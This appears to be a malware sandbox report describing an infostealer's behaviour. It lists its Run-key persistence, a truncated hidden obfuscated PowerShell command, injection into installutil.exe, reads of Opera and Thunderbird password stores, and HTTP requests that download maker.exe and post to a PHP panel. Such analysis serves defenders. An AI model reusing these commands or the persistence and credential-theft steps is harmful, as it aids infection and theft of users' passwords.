Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'maker' = '%HOMEPATH%\Pictures\maker.exe'
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function r964f5 {param($v8bea)$yc37d66='xaf8d7e';$j84dcb='';for ($i=0; $i -lt $v8bea.length;$i+=2){$d146db6=[convert]::ToByte($v8bea.Substring($i,2),16);$j84dcb+=[char]($d...
Injects code into
the following system processes:
- %WINDIR%\microsoft.net\framework\v4.0.30319\installutil.exe
Searches for registry branches where third party applications store passwords
- [<HKCU>\Software\RimArts\B2\Settings]
Reads files which store third party applications passwords
- %APPDATA%\opera software\opera stable\login data
- %APPDATA%\thunderbird\profiles.ini
Modifies file system
Creates the following files
- %TEMP%\1wylycvx.0.cs
- %TEMP%\1wylycvx.cmdline
- %TEMP%\1wylycvx.out
- %TEMP%\cscf01e.tmp
- %TEMP%\resf02f.tmp
- %TEMP%\1wylycvx.dll
- %APPDATA%\ge59e.exe
- %HOMEPATH%\pictures\maker.exe
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %PROGRAMDATA%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
Deletes the following files
- %TEMP%\resf02f.tmp
- %TEMP%\cscf01e.tmp
- %TEMP%\1wylycvx.out
- %TEMP%\1wylycvx.cmdline
- %TEMP%\1wylycvx.0.cs
- %TEMP%\1wylycvx.dll
- %TEMP%\1wylycvx.pdb
Network activity
TCP
HTTP GET requests
- http://ip###sta.com/maker1.exe
HTTP POST requests
- http://ip###sta.com/kmaker/inc/860cce76152de2.php
UDP
- DNS ASK ip###sta.com
- DNS ASK ap#.#pify.org
Miscellaneous
Creates and executes the following
- '%APPDATA%\ge59e.exe'
- '%HOMEPATH%\pictures\maker.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden function r964f5 {param($v8bea)$yc37d66='xaf8d7e';$j84dcb='';for ($i=0; $i -lt $v8bea.length;$i+=2){$d146db6=[convert]::ToByte($v8bea.Substring($i,2),16);$j84dcb+=[char]($d...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\1wylycvx.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF02F.tmp" "%TEMP%\CSCF01E.tmp"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c copy "%APPDATA%\ge59e.exe" "%HOMEPATH%\Pictures\maker.exe"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c, "%HOMEPATH%\Pictures\maker.exe"' (with hidden window)
Executes the following
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\1wylycvx.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESF02F.tmp" "%TEMP%\CSCF01E.tmp"
- '%WINDIR%\syswow64\cmd.exe' /c copy "%APPDATA%\ge59e.exe" "%HOMEPATH%\Pictures\maker.exe"
- '%WINDIR%\syswow64\cmd.exe' /c, "%HOMEPATH%\Pictures\maker.exe"
- '%WINDIR%\microsoft.net\framework\v4.0.30319\installutil.exe'
